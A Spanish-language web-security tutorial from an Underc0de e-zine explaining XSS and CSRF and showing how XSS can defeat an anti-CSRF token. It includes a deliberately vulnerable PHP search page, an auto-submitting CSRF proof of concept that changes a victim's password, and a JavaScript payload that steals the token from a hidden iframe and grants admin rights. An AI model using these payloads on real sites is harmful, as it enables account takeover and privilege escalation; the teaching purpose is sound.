Enter Search Query:

BYPASS CSRF MEDIANTE XSS

BYPASS CSRF MEDIANTE XSS

Este artículo trata de forma básica dos de las vulnerabilidades web más comunes, Cross-Site Scripting (XSS), y, la vulnerabilidad Cross-Site Request Forgery (CSRF). Además, se hace hincapié en el bypass de la implementación de un token anti-CSRF utilizando XSS.

Veremos como bypassear tokens CSRF mediante XSS, pero antes, y pensando en los más nuevos en este ámbito, repasaremos lo más básico de ambos términos.

Cross-Site-Scripting (XSS)

La sigla XSS significa Cross Site Scripting, el motivo por el cual no se abrevia CSS, es para no confundirlo con las hojas de estilo.

XSS es probablemente la vulnerabilidad web más común y a pesar de que ésta sea una vulnerabilidad antigua, a día de hoy siguen apareciendo nuevos vectores para explotarla.

Esta permite a un atacante insertar código HTML o JavaScript con el fin de poder obtener información para luego sacarle provecho.

Normalmente se utiliza para robar las cookies del administrador de algún sitio y luego poder usarlas para logarse con ella, aunque también es utilizado para hacer phishing, desfases, etc. El XSS surge como consecuencia de errores de filtrado de las entradas de usuarios en los sitios web.

Hay varias formas de clasificar los XSS, aunque en este artículo veremos las dos siguientes:

  • Persistente o Stored: son aquellos que quedan guardados en el sitio vulnerable (por ejemplo, en la base de datos) y puede afectar a cualquier persona que acceda a dicha página, ya que queda alojado en el sitio y cada persona que entre se verá afectada.
  • Reflejado o Reflected: es aquel que no queda almacenado en la web vulnerable, pero de bastante más utilidad si el parámetro vulnerable es vía GET que si lo es vía POST.

A modo de ejemplo, vamos a estudiar un fragmento de código vulnerable a XSS:

Código: Index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<title>Underc0de XSS Reflejado</title>
</head>
<body>
<center>
<img src="logo.png">
<form action="buscador.php" method="get">
Buscador: <input name="buscar" value="" size="50">
<br/>
<input type="submit" value="Buscar"/>
</form>
</center>
</body>
</html>

Código: Buscador.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<title>Resultado de la búsqueda</title>
</head>
<body>
<center>
<img src="logo.png">
<?php
if(isset($_GET[“buscar”]))
{
 $busqueda= $_GET[“buscar”];
echo '<p align=”center”>No se ha encontrado ningún
resultado que contenga:’.$busqueda.’</p>’;
}
?>
</center>
</body>
</html>

Básicamente lo que hacen estos archivos, es lo siguiente:

El archivo index.html contiene un input en el cual se le ingresa la palabra a buscar. Al presionar sobre el botón buscar, envía esa palabra al archivo buscador.php y éste muestra la palabra enviada.

Para agilizar el artículo y dada la teoría y partiendo del código mostrado arriba, obtendremos un XSS de tipo Reflejado de la siguiente forma:

BYPASS CSRF MEDIANTE XSS 1

Para un aprendizaje más amplio sobre la vulnerabilidad XSS se recomienda la lectura del siguiente taller: underc0de.org/talleres/Taller_Seguridad_Web_1.pdf


ANTRAX | BLACKDRAKE, 2014, Taller de Seguridad Web #1, underc0de.org/foro/talleres-underc0de-213/taller-de-seguridad-web-1, Consultado: 11/07/2019.

CSRF (Cross-Site Request Forgery)

Este ataque tiene lugar cuando el atacante provoca que el usuario ejecute una acción de forma no intencionada (y en muchas ocasiones, transparente para la víctima), en una aplicación en la que había iniciado sesión.

Para facilitar su entendimiento, utilizaremos un ejemplo, imaginad que un usuario ha iniciado sesión en cualquier página web vulnerable a CSRF. Por otro lado, éste, navegando por internet, accede a un enlace que parece inofensivo, sin embargo, la información de su perfil acaba de ser actualizada con la contraseña que el atacante ha especificado anteriormente. Cualquier acción que se realice, puede ser vulnerable a CSRF (tales como, actualizar el perfil, enviar un mensaje, realizar una transferencia bancaria, etc…).

Un ejemplo de código para explotar una vulnerabilidad CSRF sin que se redirija a la víctima al sitio afectado, sería el siguiente:

Código:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<head>
    <title>Underc0de - PoC</title>
</head>
<body>
    <img src=" https://underc0de.org/assets/img/logo-white.png”>
    <iframe style="display:none" name="csrf-frame"></iframe>
    <form method='POST' action='https://vulnerable.com' target="csrf-frame" id="csrf-form" style="display:none">
        <input type='hidden' name='password' value='underc0de'>
        <input type='submit' value='submit'>
    </form>
    <script>document.getElementById("csrf-form").submit()</script>
</body>
</html>

La víctima, al acceder al sitio malicioso, realizará una petición al sitio vulnerable.com, cambiando la contraseña del usuario a “underc0de”.

¿Cómo evitar ataques CSRF?

Para asegurarse de que la acción está siendo realmente ejecutada por el usuario legítimo en lugar de un tercero, debemos implementar en el sitio un identificador (token) único y de un solo uso. Dicho identificador (token), debe estar asociado a un único usuario, además, debe enviarse cada vez que el usuario realice una operación, de tal forma, que, si el token enviado no es el esperado por la aplicación, la operación no debe realizarse.

Uso de XSS para bypassear CSRF.

Ahora que tenemos claro ambos conceptos podemos proseguir con la parte importante del artículo.

Para pasar la protección CSRF, debemos enviar el token esperado por la aplicación en un input del formulario. Obviamente, no conocemos el token, pero, podemos obtenerlo mediante JavaScript.

Utilizando el siguiente código, realizaremos una petición GET a través del iframe, para obtener el valor del token CSRF. Una vez lo hemos obtenido, generamos nuestro formulario con los datos necesarios y lo enviamos.

Código: JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
document.writeln('<iframe id="iframe" src="vulnerable.com/index.php" width="0" height="0" onload="read()"></iframe>');
 
function read()
{
 var name = 'blackdrake';
 var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
 document.writeln('<form width="0" height="0" method="post" action="index.php">');
 document.writeln('<input type="text" name="name" value="' + name + '" /><br />');
 document.writeln('<input type="checkbox" name="admin" value="on" checked/><br />');
 document.writeln('<input type="hidden" name="token" value="' + token + '" />');
 document.writeln('<input type="submit" name="submit" value="Enviar" /><br/>');
 document.writeln('</form>');
 document.forms[0].submit.click();
}

El método de explotación es muy sencillo, lo que debemos hacer es utilizar el XSS reflejado para cargar el script malicioso. Una vez hecho esto, se le debería enviar la URL a la víctima.

BYPASS CSRF MEDIANTE XSS 2

Acto seguido, como podemos observar en la imagen anterior, se carga el fichero xss.js, a continuación, y siguiendo la explicación anterior, se realiza una petición para obtener el token CSRF y, por último, enviamos el formulario.

BYPASS CSRF MEDIANTE XSS 3

Como se puede comprobar, la protección CSRF quedaría totalmente bypasseada.

 

BYPASS CSRF MEDIANTE XSS 4
Escrito por: @BLACKDRAKE | CO-ADMIN UNDERC0DE
Co-Fundador de Red4Sec, dónde actualmente realiza auditorías de seguridad. Apasionado de la seguridad web y blockchain. Además de que posee las certificaciones OSCP y OSWP.
Contacto:
underc0de.org/foro/profile/blackdrake
Redes sociales:
Twitter: @alvarodh5

Articulo publicado en UnderDOCS – Agosto 2019, Número 1

https://underc0de.org/foro/e-zines/underdocs-agosto-2019-numero-1/

Comentarios

Comentarios

17 diciembre, 2019

Posts Relacionados

0 comentarios

Comentarios en: BYPASS CSRF MEDIANTE XSS

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *